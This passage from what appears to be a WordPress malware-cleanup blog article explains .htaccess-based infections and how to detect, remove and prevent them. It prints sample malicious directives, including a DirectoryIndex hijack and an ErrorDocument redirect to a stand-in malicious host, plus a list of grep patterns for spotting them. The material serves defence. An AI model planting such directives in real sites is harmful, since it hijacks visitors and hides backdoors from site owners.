After this, an image file uploaded to wp-content/uploads/ can execute as PHP code when requested. The attacker uploads a “photo” that’s actually a backdoor. I covered the broader pattern of malware hidden in image files in how malware hides in GIF files on WordPress and can a JPG file contain malware.

Type 9: DirectoryIndex Hijacking

A small directive change with a massive effect:

DirectoryIndex hack.php index.php

This tells Apache: “when someone visits a folder, serve hack.php first if it exists.” The attacker uploads hack.php somewhere in your site and now controls what every visitor sees on that path. The original index.php still exists, untouched — which makes this hard to spot during a quick file review.

Type 10: ErrorDocument Abuse

The attacker redirects 404 (and sometimes 403) errors to malicious destinations:

ErrorDocument 404 https://malicious.example/landing.html

Every broken link on your site, every typo in a URL, every test request from a security scanner — all of it sends visitors to the attacker’s page. Because most site owners never deliberately trigger a 404 on their own site, this can run undetected for months.

Less Common But Real .htaccess Malware Variants

Beyond the ten main types, I occasionally see:

• Geographic redirects using mod_geoip rules — visitors from specific countries get redirected, others don’t
• Hotlink-protection abuse — instead of protecting your images, the rules redirect external image requests to malicious resources
• Header injection via Header set directives — adds malicious tracking, ads, or cryptomining JavaScript via HTTP headers
• Encoding manipulation using AddEncoding or SetEnv to alter how content is served
• Conditional SetEnvIf rules that combine with PHP-side checks to deliver different malware to different visitors

These aren’t rare because they don’t work — they’re rare because the easier patterns above achieve most of what attackers want without the complexity.

How to Detect .htaccess Malware on Your Site

Before you can clean anything, you have to find it. The detection methods I rely on, in order:

1. Visual review of every .htaccess file on the server

A clean WordPress install only needs .htaccess files in two places: the site root (for permalinks) and inside wp-content/uploads/ in some configurations (with a single Deny from all line on certain hosts). Anywhere else, especially in /wp-admin/, /wp-includes/, individual plugin or theme folders, or wp-content/uploads/ beyond the host’s defaults — that’s worth investigating.

2. Find every .htaccess file at once

Over SSH or your hosting terminal, run:

find . -name ".htaccess" -type f

This lists every .htaccess on the account. Compare it to what should exist. On a typical single-WordPress-install Bluehost or SiteGround account, you should see one — maybe two. Hundreds is a clear sign of recursive infection.

3. Check modification dates

find . -name ".htaccess" -type f -newer /tmp -printf "%T+ %p\n"

Sort by date and look for .htaccess files that were modified recently — especially close to the time you first noticed symptoms.

4. Pattern-grep for known malicious directives

Common strings to grep for across all .htaccess files:

• FilesMatch with multiple PHP casing variations
• HTTP_REFERER with search engine names
• HTTP_USER_AGENT with mobile device names
• AddType or AddHandler applied to non-PHP extensions
• RewriteRule directives pointing to external domains
• Allow from with a single specific IP

5. Use a security scanner — but don’t rely on it alone

Wordfence, Sucuri, MalCare, and your hosting provider’s malware scanner can flag known patterns. They miss plenty. Treat scanner results as a starting point, not a verdict.

For a broader malware detection workflow that covers PHP, JavaScript, and database-side infections, see how to detect WordPress malware.

Step-by-Step .htaccess Malware Cleanup

Once you’ve identified malicious .htaccess rules, the cleanup follows a strict order. Skipping steps is how cleanups fail.

1. Take backups before changing anything

Download the entire site (files + database) before deleting or modifying. Save the malicious .htaccess files separately as evidence — they often contain clues (filenames, IP addresses, redirect targets) that help you find related backdoors.

2. Replace your root .htaccess with a clean default

Don’t just delete it — WordPress needs the root .htaccess for permalinks. Replace the contents with:

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress

3. Delete .htaccess files that shouldn’t exist

Any .htaccess inside /wp-admin/, /wp-includes/, individual plugin/theme folders, or non-default subdirectories — delete them. WordPress doesn’t need them.

4. Regenerate clean rewrite rules

Inside WordPress: Settings → Permalinks → Save Changes. This forces WordPress to rebuild its .htaccess rules cleanly.

5. Hunt the dropper

This is the step that determines whether the cleanup holds. The malicious .htaccess didn’t appear by itself — a PHP script wrote it. That script is still on your server. Until you find and remove it, the malicious .htaccess will reappear within minutes to hours.

I cover the common dropper patterns in detail in why WordPress malware keeps coming back.

6. Audit users, cron jobs, and the database

Hidden admin accounts, scheduled malicious cron tasks, and database-stored payloads are the second-tier persistence mechanisms. See how to find and remove hidden admin users and scanning your WordPress database for hidden malware.

7. Rotate every credential

WordPress admin, hosting cPanel, FTP/SFTP, the database user, and any email address that received password resets during the compromise. Also rotate WordPress security keys (the salts in wp-config.php) to invalidate active sessions.

Why .htaccess Malware Keeps Coming Back

If you’ve cleaned the malicious .htaccess three times in a week and it keeps reappearing, you have a persistence problem — not a cleanup problem. The most common reasons:

• A dropper script. Usually a PHP file disguised as a plugin, theme file, or fake core file (wp-l0gin.php, doc.php, radio.php) that recreates the .htaccess on every page load or every cron tick.
• A scheduled WordPress cron task. The infection registers itself as a recurring cron job, so even removing the dropper doesn’t help if the cron entry is still in the database.
• Hidden admin users. If an attacker still has admin access, they re-upload everything you remove.
• The original entry-point vulnerability. An outdated plugin, weak password, or nulled theme that lets the attacker walk back in any time they want.
• Backdoors elsewhere in the codebase. Especially obfuscated PHP shells in uploads, plugin folders, or wp-includes. If even one of these survives cleanup, the infection reproduces.

The cleanup is not finished when the visible symptom (the .htaccess) is gone. It’s finished when none of the persistence mechanisms above are still active.

How to Prevent .htaccess Malware From Coming Back

Once you’re clean, hardening prevents the next infection. The steps with the highest impact:

• Update WordPress core, plugins, and themes promptly. Most .htaccess infections trace back to a known plugin vulnerability that had a patch available.
• Remove nulled or pirated plugins/themes. A frighteningly high percentage ship with backdoors pre-installed — see why nulled plugins and themes are a security disaster.
• Use strong, unique admin passwords with two-factor authentication. Both on WordPress and on your hosting cPanel.
• Disable PHP execution in uploads/. Add a directive that blocks .php file execution inside wp-content/uploads/. This single change blocks a huge percentage of upload-based attacks.
• Restrict file permissions. Your .htaccess file should typically be 644, your folders 755, your files 644. Anything writable by the world is a risk.
• Run a web application firewall (WAF). Wordfence, Sucuri, Cloudflare WAF, or your host’s built-in firewall — they all reduce the attack surface significantly.
• Monitor file changes. Get alerted whenever .htaccess changes or new PHP files appear in places they shouldn’t.
• Keep off-host backups. Backups stored on the same server as the site can be infected along with everything else.

For a complete hardening walkthrough, see how to secure a WordPress site and the more focused how to secure your WordPress login.

Frequently Asked Questions About .htaccess Malware

Can a .htaccess file itself be a virus?

Not in the traditional sense — .htaccess is a configuration file, not an executable script. But it can issue server-level instructions that cause significant harm: blocking your access, redirecting visitors to malware, or hijacking how files are served. The file isn’t the virus. It’s the weapon a hacker uses against you.

How do I know if my .htaccess is hacked?

The clearest signs: visitors being redirected to spam (especially from Google), 403 Forbidden errors when you try to log in, Search Console reporting “Site hacked” warnings, antivirus tools blocking your domain, or finding .htaccess files in folders that shouldn’t have them (like /wp-admin/). Manually opening every .htaccess on your server and reading it is the fastest definitive check.

Why does my .htaccess malware come back every time I delete it?

Because there’s a dropper script — a malicious PHP file somewhere on your server — that recreates the malicious .htaccess automatically. You’re cleaning the symptom, not the source. Find and remove the dropper (and audit users, cron jobs, and the database for related persistence) before declaring the site clean.

Can .htaccess malware redirect only certain visitors?

Yes — and this is the most damaging variant for businesses. Conditional rules can redirect only visitors arriving from search engines, only mobile users, only specific countries, or only visitors using specific browsers. The site owner sees a normal site; the visitors don’t. This is why so many .htaccess infections are discovered via customer complaints rather than direct observation.

What’s the difference between malicious .htaccess rules and legitimate ones a developer added?

Legitimate rules are usually well-commented, follow Apache best practices, and serve a clear functional purpose (permalinks, security headers, redirects to your own pages). Malicious rules typically lack comments, contain redirect targets to unfamiliar domains, reference filenames you’ve never created, or block file types your site uses. When in doubt, ask whoever maintains the site (or audit it line by line).

Should I just delete every .htaccess file on my account to be safe?

No. Your root .htaccess is required for WordPress permalinks. Some plugins and hosting setups also use .htaccess files in specific subdirectories. The safe approach is to identify which files are malicious and clean those specifically, then regenerate the legitimate root file via WordPress permalinks settings.

How quickly can .htaccess malware do damage?

Within minutes. A search-engine redirect can start costing you traffic the moment Googlebot crawls a hijacked page. A Google Safe Browsing flag can land within hours of detection. SEO damage from cloaking attacks (Japanese hack, pharma hack) can take months to fully recover from. The cost of waiting to clean is much higher than the cost of cleaning.

Need Expert Help With a .htaccess Malware Cleanup?

.htaccess malware is fixable in most cases, but the cleanups that succeed are the ones where every persistence layer is removed — not just the visible symptom. Removing the malicious .htaccess without finding the dropper, the backdoor users, the cron tasks, and the original entry point is the single most common reason these infections return.

If your WordPress site has been hit by any of the patterns covered above, your hosting account has been flagged or suspended, or you’ve already tried cleaning the .htaccess and the malware came back, this is exactly the kind of recovery I do every week. I’ve cleaned more than 4,500 hacked WordPress sites since 2018.

Get Expert WordPress Malware Removal